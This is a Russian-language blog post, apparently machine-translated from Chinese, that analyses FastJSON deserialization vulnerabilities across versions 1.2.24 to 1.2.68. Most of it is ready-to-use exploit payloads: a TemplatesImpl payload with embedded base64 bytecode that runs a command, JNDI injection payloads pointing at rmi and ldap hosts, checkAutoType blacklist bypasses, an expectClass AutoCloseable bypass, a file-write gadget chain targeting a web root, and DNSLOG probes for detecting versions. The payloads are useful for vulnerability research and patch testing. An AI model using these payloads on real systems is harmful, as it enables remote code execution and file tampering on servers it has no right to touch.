Краткий анализ уязвимости десериализации FastJSON (1.2.24-1.2.68)
Краткий анализ уязвимости десериализации FastJSON (1.2.24-1.2.68)

Введение в FastJSON

FastJson — это библиотека Java, разработанная Alibaba. Она может конвертировать объекты Java в формат JSON и строки JSON в объекты.

https://github.com/alibaba/fastjson 👈Адрес проекта

«С 15 марта 2017 года,fastjsonЧиновник взял на себя инициативу раскрыть свое присутствие1.2.24и предыдущие версии содержат уязвимости безопасности удаленного выполнения кода с высоким риском.,Различные новые обходные позы появляются бесконечно. "——c014

Как использовать FASTJSON

Ответ: прямой импорт POM, удобная партия.

Язык кода:javascript
копировать
<dependencies>
    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>x.x.xx</version>
    </dependency>
</dependencies>

import com.alibaba.fastjson.JSON

fastjson имеет два распространенных способа обработки JSON.

  • JSON.toJSONString()метод:Объекты могут быть преобразованы вJSONнить
  • JSON.parseObject()метод:ВоляJSONнить转换成对象。

Давайте рассмотрим серию примеров: создайте объект, преобразуйте его в JSON, а затем преобразуйте обратно в объект. В то же время можно обнаружить, что при сериализации JSON будет вызываться метод getxxx класса, при десериализации JSON будет вызываться конструктор класса;

Язык кода:javascript
копировать
public class App 
{
    public static class User{
        private String id;
        User(){
            System.out.println("User go");
        }
        public void setId(String ids){
            System.out.println("setId go");
            this.id=ids;
        }
        public String getId(){
            System.out.println("GetId go");
            return this.id;
        }
    }

    public static void main(String[] args){
        User a = new User();
        String json = JSON.toJSONString(a);
        System.out.println(json);
        System.out.println(JSON.parseObject(json,User.class));
    }
}
Язык кода:javascript
копировать
User go
GetId go
{}
User go
org.example.App$User@36d4b5c

Происхождение уязвимости десериализации FASTJSON

Мы видим, что оператором десериализации JSON является JSON.parseObject(json,User.class). При указании JSON вам также необходимо указать класс, к которому он принадлежит, что делает код очень раздутым, поэтому разработчики могут использовать @type (). autotype) символьное поле, чтобы сделать его менее раздутым. Как показано ниже, вы можете найти определенный тип в JSON, указав значение @type.

Язык кода:javascript
копировать
JSON.parseObject("{\"@type\":\"org.example.App$User\",\"id\":\"123\"}")

Хотя это очень удобно, при такой десериализации будут выполняться конструктор класса и методы get и set, связанные с атрибутами.

Язык кода:javascript
копировать
public class App 
{
    public static class User{
        private String id;
        User(){
            System.out.println("User go");
        }
        public void setId(String ids){
            System.out.println("setId go");
            this.id=ids;
        }
        public String getId(){
            System.out.println("GetId go");
            return this.id;
        }
    }

    public static void main(String[] args){
        System.out.println(JSON.parseObject("{\"@type\":\"org.example.App$User\",\"id\":\"123\"}"));
    }
}
Язык кода:javascript
копировать
User go
setId go
GetId go
{"id":"123"}

Таким образом, в этом интерфейсе десериализации JSON, если мы передадим вредоносный JSON, мы сможем вызвать конструктор любого класса, а также методы get и set, связанные с атрибутами. Если в связанном методе определенного типа (например, выполнении определенной команды) есть опасный код, мы можем создать вредоносный JSON для достижения эффекта RCE.

Кроме того, JSON.parseObject("{"@type":"org.example.App$User","id":"123"}",Feature.SupportNonPublicField) может напрямую присваивать значения частным членам (без добавления Feature.SupportNonPublicField Невозможно присвоить значения закрытым членам)

Повторение различных версий

1.2.24

TemplatesImpl

Да, это TemplatesImplcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl в цепочке 7U21.

Сам этот класс имеет уязвимость десериализации. Данные переменной-члена _bytecodes будут использоваться в качестве байт-кода класса для выполнения операции newInsantce для вызова его конструктора или статического блока. Поэтому fastjson можно использовать как возможность вызвать этот класс. Однако, поскольку _name и _bytecodes являются частными атрибутами, для его реализации интерфейс десериализации FASTJSON должен иметь параметр Feature.SupportNonPublicField. Условия использования очень строгие, но если условия позволяют, это очень удобно. Просто введите полезную нагрузку и все. будет сделано.

Поле _tfactory не имеет ни метода get, ни метода set в TemplatesImpl.,это не имеет значения,Мы устанавливаем для _tfactory значение { }, и fastjson вызовет свой конструктор без аргументов, чтобы получить объект _tfactory.,Это решает проблему, заключающуюся в том, что в некоторых версиях при использовании метода defineTransletClasses() будет ссылаться на атрибут _tfactory, что приведет к аварийному выходу.

Язык кода:javascript
копировать
payload
{
  "@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes" : ["yv66vgAAADQAPQoADQAcCQAdAB4IAB8KACAAIQcAIggAIwoAJAAlCgAkACYKACcAKAcAKQoACgAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwApAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwADgAPBwAuDAAvADABAAVQd25lZAcAMQwAMgAzAQAQamF2YS9sYW5nL1N0cmluZwEABGNhbGMHADQMADUANgwANwA4BwA5DAA6ADsBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAA8AA8BABJ0ZXN0X2Zhc3Rqc29uL0V2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA2VycgEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEAB3dhaXRGb3IBAAMoKUkBAA9wcmludFN0YWNrVHJhY2UAIQAMAA0AAAAAAAQAAQAOAA8AAQAQAAAAHQABAAEAAAAFKrcAAbEAAAABABEAAAAGAAEAAAAJAAEAEgATAAIAEAAAABkAAAADAAAAAbEAAAABABEAAAAGAAEAAAAXABQAAAAEAAEAFQABABIAFgACABAAAAAZAAAABAAAAAGxAAAAAQARAAAABgABAAAAHAAUAAAABAABABUACAAXAA8AAQAQAAAAawAEAAEAAAAmsgACEgO2AAQEvQAFWQMSBlNLuAAHKrYACLYACVenAAhLKrYAC7EAAQAIAB0AIAAKAAIAEQAAAB4ABwAAAAsACAANABIADgAdABEAIAAPACEAEAAlABIAGAAAAAcAAmAHABkEAAEAGgAAAAIAGw"],
  "_name" : "a",
  "_tfactory" : {},
  "outputProperties" : {}
}

Класс _bytecodes выглядит следующим образом: скомпилируйте и сгенерируйте Evil.class, прочитайте байт-код и зашифруйте его с помощью base64 как _bytecodes.

Язык кода:javascript
копировать
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Evil extends AbstractTranslet{
static {
            System.err.println("Pwned");
            try {
                String[] cmd = {"calc"};
                java.lang.Runtime.getRuntime().exec(cmd).waitFor();
            } catch ( Exception e ) {
                e.printStackTrace();
            }
         }

         @Override
         public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
                  // anything
         }

         @Override
         public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
                  // anything
         }
}

JdbcRowSetImpl

com.sun.rowset.JdbcRowSetImpl,RCE реализуется посредством внедрения JNDI. Однако следует отметить, что внедрение JNDI имеет ограничения по версии JDK, и более высокие версии необходимо обходить.

Наша полезная нагрузка обычно выглядит так

Язык кода:javascript
копировать
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi:/ip:port/Exploit","autoCommit":true}
or
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ip:1099/exp","autoCommit":true}

После попадания этой полезной нагрузки будет выполнен setAutoCommit(), а setAutoCommit() выполнит функцию connct(), как показано ниже. Connect() выполнит InitialContext.lookup(dataSourceName) для свойства dataSourceName для внедрения JNDI.

Язык кода:javascript
копировать
private Connection connect() throws SQLException {
        if(this.conn != null) {
            return this.conn;
        } else if(this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("")?var2.getConnection(this.getUsername(), this.getPassword()):var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null?DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()):null;
        }
    }

1.2.25

Механизм обновления

Версии 1.2.24 и более ранние — это как чистые листы бумаги. Начиная с 1.2.25 был добавлен механизм черного и белого списка.

Если мы продолжим использовать полезную нагрузку 1.2.24 (здесь используется полезная нагрузка TemplatesImpl), мы обнаружим, что автотип ошибок не поддерживается.

Причина в том, что метод CheckAutoType был добавлен в com.alibaba.fastjson.parser.ParserConfig.

Язык кода:javascript
копировать
com.alibaba.fastjson.parser.ParserConfig !public Class<?> checkAutoType(String typeName, Class<?> expectClass)

В нем есть атрибут autotypesupport. Если он имеет значение false, он проверит, начинается ли значение @type в json со значением в черном списке. Если оно одинаковое, он напрямую вернет исключение, а затем загрузит класс. белый список.

Язык кода:javascript
копировать
if (!autoTypeSupport) {
			\\Обнаружение черного списка, имя класса — полное имя входящего класса, DenyList — черный список.
            for (int i = 0; i < denyList.length; ++i) {
                String deny = denyList[i];
                if (className.startsWith(deny)) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
            for (int i = 0; i < acceptList.length; ++i) {
                String accept = acceptList[i];
                if (className.startsWith(accept)) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

                    if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }
                    return clazz;
                }
            }
        }

Черный список выглядит так

Если поддержка автотипирования включена, сначала будет загружен белый список, а затем будет обнаружен черный список.

Язык кода:javascript
копировать
if (autoTypeSupport || expectClass != null) {
    for (int i = 0; i < acceptList.length; ++i) {
        String accept = acceptList[i];
        if (className.startsWith(accept)) {
            return TypeUtils.loadClass(typeName, defaultClassLoader);
        }
    }

    for (int i = 0; i < denyList.length; ++i) {
        String deny = denyList[i];
        if (className.startsWith(deny)) {
            throw new JSONException("autoType is not support. " + typeName);
        }
    }
}

Многие последующие обновления исправят уязвимости, вызванные checkAutotype и некоторые его собственные логические недочеты, а также постоянное увеличение черного списка.

байпас 1 (Л; метод) 1.2.25-1.2.41

Если autoTypeSupport включен или ожидаемый класс не пуст, будет вызван метод класса загрузки.

Язык кода:javascript
копировать
if (this.autoTypeSupport || expectClass != null) {
    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}

Среди них, если имя класса начинается с L и заканчивается на L, эти два символа будут удалены и класс будет загружен.

«Что касается того, почему такая странная обработка, пара символов L и ; на самом деле используется для представления имен классов в байт-коде JVM:»

Язык кода:javascript
копировать
if (className.startsWith("L") && className.endsWith(";")) {
    String newClassName = className.substring(1, className.length() - 1);
    return loadClass(newClassName, classLoader);
}

Поэтому, когда поддержка автотипирования включена, мы можем создать следующую полезную нагрузку для обхода

Язык кода:javascript
копировать
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://ip:1099","autoCommit":true}

Как включить поддержку автотипа? Просто добавьте следующий код перед анализом json

Язык кода:javascript
копировать
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

обход 2 (встроенный json) 1.2.25-1.2.47

Версия 1.2.25-1.2.32: его можно успешно использовать, когда AutoTypeSupport не включен, но нельзя успешно запустить, когда AutoTypeSupport включен;

Версии 1.2.33-1.2.47: Можно успешно использовать независимо от того, включена ли AutoTypeSupport или нет;

Язык кода:javascript
копировать
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://localhost:1389/Exploit",
        "autoCommit":true
    }
}

1.2.42

Механизм обновления

В версии 42 разработчики изменили черный список в виде обычного текста на черный список по хешу.,Было много столкновений,Особого смысла нет, проверка производилась при обходе 25 чёрного списка.,Если имя класса заканчивается наLначало,;окончание,Он будет обработан с помощью заглушки (это решение оценивается HASH,не могу читать,Но я был в шоке):

Язык кода:javascript
копировать
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
    className = className.substring(1, className.length() - 1);
}

обход (двойной обход записи)

Тогда просто пиши обеими руками, чтобы обойти это.

Язык кода:javascript
копировать
{
    "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
    "dataSourceName":"ldap://127.0.0.1:2357/Command8",
    "autoCommit":true
}

1.2.42

Механизм обновления

Выносится дополнительное решение об обходе двойной записи.

Язык кода:javascript
копировать
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
                if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
                    throw new JSONException("autoType is not support. " + typeName);
                }

                className = className.substring(1, className.length() - 1);
            }

Bypass

В TypeUtils.loadClass, помимо оценки L;, есть еще оценка [

Язык кода:javascript
копировать
} else if (className.charAt(0) == '[') {
    Class<?> componentType = loadClass(className.substring(1), classLoader);
    return Array.newInstance(componentType, 0).getClass();
} 

Ориентируясь на это, создается следующая полезная нагрузка. Конкретная причина, по которой она построена таким образом, не уточняется. В любом случае, это связано с [.

Язык кода:javascript
копировать
{
  "@type" : "[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"[,{
  "_bytecodes" : ["yv66vgAAADQAPQoADQAcCQAdAB4IAB8KACAAIQcAIggAIwoAJAAlCgAkACYKACcAKAcAKQoACgAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwApAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwADgAPBwAuDAAvADABAAVQd25lZAcAMQwAMgAzAQAQamF2YS9sYW5nL1N0cmluZwEABGNhbGMHADQMADUANgwANwA4BwA5DAA6ADsBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAA8AA8BABJ0ZXN0X2Zhc3Rqc29uL0V2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA2VycgEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEAB3dhaXRGb3IBAAMoKUkBAA9wcmludFN0YWNrVHJhY2UAIQAMAA0AAAAAAAQAAQAOAA8AAQAQAAAAHQABAAEAAAAFKrcAAbEAAAABABEAAAAGAAEAAAAJAAEAEgATAAIAEAAAABkAAAADAAAAAbEAAAABABEAAAAGAAEAAAAXABQAAAAEAAEAFQABABIAFgACABAAAAAZAAAABAAAAAGxAAAAAQARAAAABgABAAAAHAAUAAAABAABABUACAAXAA8AAQAQAAAAawAEAAEAAAAmsgACEgO2AAQEvQAFWQMSBlNLuAAHKrYACLYACVenAAhLKrYAC7EAAQAIAB0AIAAKAAIAEQAAAB4ABwAAAAsACAANABIADgAdABEAIAAPACEAEAAlABIAGAAAAAcAAmAHABkEAAEAGgAAAAIAGw"],
  "_name" : "a",
  "_tfactory" : {},
  "outputProperties" : {}
}

1.2.44

Механизм обновления

В версии 44 реализован обход версии 43. Начиная с [ или с L и заканчивая исключением, будет выброшено исключение.

Bypass

Встроенная идеальная разбивка JSON

1.2.47-67

Механизм обновления

Исправлен встроенный обход JSON с версии 47.,В этих версиях нет хорошего метода обхода.,Большинство онлайн-методов заключаются в использовании JNDI-инъекции из черного списка для поиска рыбы, проскользнувшей в сеть (большинство найденных являются классами компонентов).,Этот компонент должен присутствовать на целевой машине для запуска.https://paper.seebug.org/1155/)а такжеожидаемый класс обходит автотип

1.2.68

После версии 68 появилась новая точка управления безопасностью SafeMode. Если она включена, исключение будет генерироваться непосредственно при проверке AtuoType. Пока установлен тип @type, исключение будет генерироваться, когда вы захотите десериализовать указанный класс. объект, то есть старт. Сайты с сейфмодом смотреть не надо. Конечно эта версия ожидаемый класс обходит автотип можно воспроизводить десятки раз.

Bypass ожидаемый класс обходит автотип <=1.2.68

Вот демо, чтобы показать это.

Язык кода:javascript
копировать
package org.example;

import java.io.IOException;

public class VulAutoCloseable implements AutoCloseable {
    public VulAutoCloseable(){
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }


    @Override
    public void close() throws Exception {

    }
}

Тогда наша полезная нагрузка

Язык кода:javascript
копировать
public class evil {
        public static void main(String[] args){
            System.out.println(JSON.parseObject("{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.example.VulAutoCloseable\",\"cmd\":\"calc\"}\n"));
        }
    }

Калькулятор после выполнения

Давайте посмотрим, что происходит через отлаживать

отлаживать

Установите точку останова на checkautotype.

Можно обнаружить, что переданное имя типа является AutoCloseable. Ожидаемый класс в это время равен NULL.

Спускаясь вниз, этот класс можно получить непосредственно из кэша Mapping,

Затем он был возвращен напрямую, даже не проходя проверку autoTypeSupport.

clazz возвращается в defaultjsonparser. Просматривая логику, вы можете обнаружить, что для clazz выполняется метод десериализации и последующие действия.

Буду следить за тобой здесь

Если посмотреть вниз, будет запущен второй раунд checkAutoType, поскольку Autocloseable не может успешно сгенерировать объект десериализатора с помощью метода getSeeAlso.

Параметры, передаваемые в checkAutoType во втором раунде, — это второе значение @type, первое значение @type и неважный lexer.getFeatures().

После ввода checkAutoType класс исключения сначала будет внесен в белый список. Класс Autocloseable, естественно, будет передан случайно, а затем для флага исключенияClassFlag будет установлено значение true.

Затем выполняется проверка черного и белого списка для имени типа. Поскольку имя типа — org.example.VulAutoCloseable и его нет в черном и белом списках, проверка, естественно, проходит. Ниже приводится последовательность проверки по порядку

Проверка черного списка

Сначала белый, а затем черный, все результаты Array.binarySearch равны 0, естественно, можно передать условие IF

сначала черный, потом белый

Проходя множество вступительных экзаменов в аспирантуру, класс, указанный по имени типа, передается в TypeUtils.loadClass, после чего

Придет сюда, возвращается объект класса VulAutoCloseable.

Затем этот объект класса будет проверен на предмет того, является ли он подклассом ClassLoader, DataSource, RowSet и т. д. Если это так, будет напрямую выброшено исключение. Это также механизм фильтрации большинства внедренных JNDI гаджетов.

Затем определите, является ли clazz подклассом ExceptClass, и если да, верните объект класса напрямую. После того, как объект класса будет возвращен, он вступит в следующий процесс десериализации, и его метод построения будет вызван для завершения использования.

Практичный гаджет

Полезная нагрузка, используемая в реальном бою:

Перемещение файла: переместите содержимое одного файла в новый файл, и содержимое исходного файла исчезнет.

Язык кода:javascript
копировать
<dependency>    <groupId>org.aspectj</groupId>    <artifactId>aspectjtools</artifactId>    <version>1.9.5</version></dependency>
Язык кода:javascript
копировать
{"@type":"java.lang.AutoCloseable", "@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream", "tempPath":"D:/b.txt", "targetPath":"E:/b.txt"}

Написание файла

Язык кода:javascript
копировать
<dependency>
  <groupId>com.sleepycat</groupId>
  <artifactId>je</artifactId>
  <version>5.0.73</version>
</dependency>

<dependency>
  <groupId>com.esotericsoftware</groupId>
  <artifactId>kryo</artifactId>
  <version>4.0.0</version>
</dependency>

<dependency>
  <groupId>org.aspectj</groupId>
  <artifactId>aspectjtools</artifactId>
  <version>1.9.5</version>
</dependency>
Язык кода:javascript
копировать
{
    "stream": {
        "@type": "java.lang.AutoCloseable",
        "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
        "targetPath": "D:/wamp64/www/hacked.txt", \\Создать пустой файл
        "tempPath": "D:/wamp64/www/test.txt"\\Создайте файл с содержимым
    },
    "writer": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.esotericsoftware.kryo.io.Output",
        "buffer": "cHduZWQ=", Содержимое файла после \\base64
        "outputStream": {
            "$ref": "$.stream"
        },
        "position": 5
    },
    "close": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.sleepycat.bind.serial.SerialOutput",
        "out": {
            "$ref": "$.writer"
        }
    }
}

Обнаружение уязвимостей

DNSLOG

Язык кода:javascript
копировать
{"@type":"java.net.InetAddress","val":"dnslog.cn"} Его можно активировать только ниже 49, потому что этот гаджет запрещен в 49 и может использоваться для обнаружения определенных версий.
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0

Обнаружение ошибок

Если вам повезет, вы сможете опубликовать номер версии напрямую.

Язык кода:javascript
копировать
{"xxx":"aaa"
Base64 декодирование eyJhIjoiXHgaGiJ9 Его можно запустить только тогда, когда его значение ниже 60. Когда серверная часть Fastjson версия меньше чем 1.2.60 час,При использовании этого пакета запроса не будет никаких задержек или ошибок.,В противном случае оно будет задержано или будет сообщено об ошибке.

предположение

Когда некоторые разработчики пишут код, связанный с анализом JSON, они могут установить возможность передачи только определенных объектов. Объект, который мы передаем при установке @type, может не соответствовать указанному объекту, что приводит к исключению типа несоответствия.

Решение заключается в следующем: самый внешний вложенный объект

Язык кода:javascript
копировать
{
"xxx": {"@type":"java.net.InetAddress","val":"dnslog"}
}

ссылка

https://c014.cn/pdfs/java/Fastjson/Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.html

https://www.freebuf.com/vuls/228099.html

https://aluvion.gitee.io/2020/08/23/Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%9C%BA%E5%88%B6%E5%92%8Cautotype%E8%A7%82%E6%B5%8B/#1-2-25-lt-Fastjson-lt-1-2-41-checkAutoType-%E9%BB%91%E5%90%8D%E5%8D%95%E7%BB%95%E8%BF%87

https://paper.seebug.org/1192/#1225

https://www.mi1k7ea.com/2019/11/11/Fastjson%E7%B3%BB%E5%88%97%E5%9B%9B%E2%80%94%E2%80%941-2-25-1-2-47%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%EF%BC%88%E6%97%A0%E9%9C%80%E5%BC%80%E5%90%AFAutoType%EF%BC%89/#%E4%B8%8D%E5%8F%97AutoTypeSupport%E5%BD%B1%E5%93%8D%E7%9A%84%E7%89%88%E6%9C%AC

https://www.mi1k7ea.com/2021/02/08/Fastjson%E7%B3%BB%E5%88%97%E5%85%AD%E2%80%94%E2%80%941-2-48-1-2-68%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#0x04-1-2-68%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%EF%BC%88expectClass%E7%BB%95%E8%BF%87AutoType%EF%BC%89

boy illustration
На основе языка Go мы шаг за шагом научим вас внедрять структуру системы управления серверной частью.
boy illustration
Эффективное управление журналами с помощью Spring Boot и Log4j2: подробное объяснение конфигурации
boy illustration
Что делать, если telnet не является внутренней или внешней командой [легко понять]
boy illustration
php-объект для анализа json_php json
boy illustration
Введение в принцип запуска Springboot, процесс запуска и механизм запуска.
boy illustration
Высокоуровневые операции Mongo, если данные не существуют, вставка и обновление, если они существуют (pymongo)
boy illustration
Проектирование и внедрение системы управления электронной коммерцией на базе Vue и SpringBoot.
boy illustration
Статья длиной в 9000 слов знакомит вас с процессом запуска SpringBoot — самым подробным процессом запуска SpringBoot в истории — с изображениями и текстом.
boy illustration
Как настроить размер экрана в PR. Учебное пособие по настройке размера видео в PR [подробное объяснение]
boy illustration
Элегантный и мощный: упростите операции ElasticSearch с помощью easy-es
boy illustration
Проект аутентификации по микросервисному токену: концепция и практика
boy illustration
【Java】Решено: org.springframework.http.converter.HttpMessageNotWritableException.
boy illustration
Изучите Kimi Smart Assistant: как использовать сверхдлинный текст, чтобы открыть новую сферу эффективной обработки информации
boy illustration
Начало работы с Docker: использование томов данных и монтирования файлов для хранения и совместного использования данных
boy illustration
Использование Python для реализации автоматической публикации статей в публичном аккаунте WeChat
boy illustration
Разберитесь в механизме и принципах взаимодействия потребителя и брокера Kafka в одной статье.
boy illustration
Spring Boot — использование Resilience4j-Circuitbreaker для реализации режима автоматического выключателя_предотвращения каскадных сбоев
boy illustration
13. Springboot интегрирует Protobuf
boy illustration
Примечание. Инструмент управления батареями Dell Dell Power Manager
boy illustration
Общая интерпретация класса LocalDate [java]
boy illustration
[Базовые знания ASP.NET Core] -- Веб-API -- Создание и настройка веб-API (1)
boy illustration
Настоящий бой! Подключите Passkey к своему веб-сайту для безопасного входа в систему без пароля.
boy illustration
Руководство по настройке Nginx: как найти, интерпретировать и оптимизировать настройки Nginx в Linux
boy illustration
Typecho отображает использование памяти сервера
boy illustration
Как вставить элемент перед указанным ключом в ассоциативный массив в PHP
boy illustration
swagger2 экспортирует API как текстовый документ (реализация Java) [легко понять]
boy illustration
Выбор фреймворка nodejs Express koa egg MidwayJS сравнение NestJS
boy illustration
Руководство по загрузке, установке и использованию SVN «Рекомендуемая коллекция»
boy illustration
Интерфейс PHPforwarding_php отправляет запрос на получение
boy illustration
Создавайте и защищайте связь в реальном времени с помощью SignalR и Azure Active Directory.